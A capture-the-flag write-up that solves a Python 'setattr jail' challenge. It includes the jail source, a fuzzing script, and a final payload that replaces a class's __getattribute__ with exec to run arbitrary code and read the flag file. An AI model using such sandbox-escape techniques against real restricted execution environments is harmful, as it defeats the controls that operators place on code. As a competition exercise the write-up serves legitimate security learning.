11/09/2023

the other obligatory pyjail

nowadays, setattr jails seem to be all the hype, and everyone loves builtins, so enjoy a setattr jail with builtins :>

helpmisc
6 solves400 points
personby quasar
Attachmentsjail.py

I initially attempted this challenge because the code was short and it seemed simple, but in the end it took me two days to solve.

#/usr/bin/python3
# nowadays, setattr jails seem to be all the hype, and everyone loves builtins, so enjoy a setattr jail with builtins :>
for _ in range(2):
    src = input("Src: ")
    dst = input("Dst: ")
    assert "." not in src and dst.count(".") < 3
    for x in dst.split("."):
        assert x not in ["setattr", "getattr", "print"], "Hey im using those!" 
    a = "." in dst
    b = dst.split(".")
    x = dst
    pdist = __builtins__
    dst = getattr(__builtins__, dst.split(".")[0])
    if a:
        for x in b[1:]:
            pdist = dst
            dst = getattr(dst, x)
    src = getattr(__builtins__, src)
    setattr(pdist, x, src)

print(__builtins__)
jail.py

After examining this code for a while, my first thought was to do something like getattr = exec using the first setattr call, however the blacklist prevents me from doing so.

Then, I considered using errors to trigger exec: using setattr(__builtins__, "AttributeError", exec) in the first call, then sending something like print(next(open("flag"))) as dst after that. However, this never worked and the string '__new_member__' was being passed as the first argument instead.

I was stuck here for a while until I considered overriding the __getattr__ or __setattr__ dunder methods on an object. I tried setting it on a random function: print.__getattribute__ = exec. However, this gave the error AttributeError: 'builtin_function_or_method' object attribute '__getattribute__' is read-only.

After a while, I had the idea of fuzzing all the properties I could call setattr on, hence I wrote a quick python script to list all of them.

for obj in vars(__builtins__).values():
    print('checking:', obj)
    for a in dir(obj):
        try:
            setattr(obj, a, 1)
            print(obj, a)
        except:
            pass
fuzz.py

This yielded output with surprisingly many results, the first I tested was help.

checking: help
Type help() for interactive help, or help(object) for help about object. __call__
Type help() for interactive help, or help(object) for help about object. __delattr__
Type help() for interactive help, or help(object) for help about object. __dir__
Type help() for interactive help, or help(object) for help about object. __doc__
Type help() for interactive help, or help(object) for help about object. __eq__
Type help() for interactive help, or help(object) for help about object. __format__
Type help() for interactive help, or help(object) for help about object. __ge__
Type help() for interactive help, or help(object) for help about object. __getattribute__
Type help() for interactive help, or help(object) for help about object. __gt__
Type help() for interactive help, or help(object) for help about object. __hash__
Type help() for interactive help, or help(object) for help about object. __init__
Type help() for interactive help, or help(object) for help about object. __init_subclass__
Type help() for interactive help, or help(object) for help about object. __le__
Type help() for interactive help, or help(object) for help about object. __lt__
Type help() for interactive help, or help(object) for help about object. __module__
Type help() for interactive help, or help(object) for help about object. __ne__
Type help() for interactive help, or help(object) for help about object. __new__
Type help() for interactive help, or help(object) for help about object. __reduce__
Type help() for interactive help, or help(object) for help about object. __reduce_ex__
Type help() for interactive help, or help(object) for help about object. __repr__
Type help() for interactive help, or help(object) for help about object. __setattr__
Type help() for interactive help, or help(object) for help about object. __sizeof__
Type help() for interactive help, or help(object) for help about object. __str__
Type help() for interactive help, or help(object) for help about object. __subclasshook__

I tried running the code:

help.__getattribute__ = exec
getattr(help, "print('aoeu')")

Which did not work. Up until now, I had completely forgotten that you need to set __getattribute__ on the class, not on an instance of it. In retrospect, the following code would work:

help.__class__.__getattribute__ = exec
getattr(help, "print('aoeu')")

However, I then tried to use the __spec__ attribute and eventually remembered that fact.

This was my final payload:

Src: exec
Dst: __spec__.__class__.__getattribute__
Src: aoeu
Dst: __spec__.print(getattr(open("flag\x2etxt"), "read")())

The flag: LITCTF{maybe_temporary_flag_for_now_or_not}

Honestly, I think this was one of the hardest ctf challenges I've solved thus far.